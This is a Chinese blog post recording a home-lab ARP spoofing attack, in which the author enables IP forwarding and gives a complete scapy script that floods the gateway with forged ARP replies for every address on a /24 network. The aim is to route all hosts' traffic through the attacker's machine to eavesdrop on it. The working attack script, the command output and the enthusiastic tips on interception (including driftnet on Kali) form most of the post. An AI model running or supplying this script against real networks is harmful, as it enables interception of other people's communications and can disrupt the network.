标签:route 欺骗 sys tar 代码 网络 fan 路由 关闭
非常棒的实验,自信又有了。
1、根据上文说到,必须开启黑客机器的转发功能,ARP脚本不变
[root@python sysctl.d]# vim /etc/sysctl.conf
[root@python sysctl.d]# sysctl -p
net.ipv4.ip_forward = 1
(1)运行脚本测试之前,客户端A去ping目的计算机B的IP 192.168.1.31
(2)运行脚本攻击之后,A再去ping B机器,会发现MAC地址发生改变
结论:很明显,A机器可以ping通B,但实际上通信的是A与黑客机器!
(3)在目的计算机上B tcpdump抓包看到,192.168.1.101(也就是客户端A的IP)发送的PING报文可以被B收到,并进行响应,从而不让人发现网络已经被攻击,达到黑客监听数据的目的,nice !
(4)接下来的目标是ARP程序不允许交互式手工输入目的计算机IP,不管请求谁,都要经过我黑客。需要更改代码。
现在唯一的问题是ARP程序运行要手工输入目的机器B的IP,这一点不好。需求是当任意客户端Ping任意服务器的时候,我想要涉及到python多线程的问题,写一个for循环,黑客机器向局域网的所有机器(从192.168.1.1到192.168.1.254)都不停的进行应答发包,只管有机器恰好在请求ARP广播报文,等它命中。
[root@python ~]# cat broadcast.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # 伪造目的计算机,告诉网关那个目的计算机的MAC地址是黑客的MAC地址,即欺骗路由器的ARP缓存表 from scapy.all import * import commands import threading import time Gateway_IP = commands.getoutput(" route -n|head -3|tail -1|awk ‘{print $2}‘ ") Gateway_MAC = getmacbyip(Gateway_IP) Hacker_MAC = commands.getoutput(" ifconfig|grep ‘ether‘|awk ‘{print $2}‘ ") #python调用linux命令 ETHERNET = commands.getoutput (" ifconfig|grep ‘mtu 1500‘|awk ‘{print $1}‘|awk -F ‘:‘ ‘{print $1}‘ ") def broadcast_IP( ): count = 1 while count < 254: count +=1 #我并没攻击网关,如果攻击网关的话,可以窃听外网 DuiFang_IP = ‘192.168.1.‘ + str(count) pkt = Ether(src=Hacker_MAC,dst=Gateway_MAC) / ARP(hwsrc=Hacker_MAC,hwdst=Gateway_MAC,psrc=DuiFang_IP,pdst=Gateway_IP,op=2) sendp(pkt,iface=ETHERNET) for i in range(254): t = threading.Thread(target=broadcast_IP) t.start() t.join() #join()的作用是,在子线程完成运行之前,这个子线程的父线程将一直被阻塞。
[root@python ~]# python broadcast.py ##执行这个代码的时候,会有大量的ARP应答报文发送,只能关闭远程工具,才能终止发包,在后台运行也会跳出到前台,如果直接在真机上运行的话, 我估计只有强行关机了...
实验截图:
黑客机器的MAC地址
第1组
第2组
第3组
实验结果:无论你去ping谁,这个谁的MAC地址都只是黑客的MAC地址,而MAC地址一般不容易被发现,但也这有可能是攻击的唯一缺陷,如果人细心点话,会被发现。
源端A和目的端B的通信肯定都会经过黑客的网卡,只不过在普通的linux机器上看不出来客户端具体在干什么,只知道有报文通过自己转发出去。但如果是在Kali Linux上,听说过一个drifnet工具,就可以直接看到对方在干什么,棒极了。
下面该了解下kali linux了,有点兴趣....
标签:route 欺骗 sys tar 代码 网络 fan 路由 关闭
原文地址:http://www.cnblogs.com/yue-hong/p/6536098.html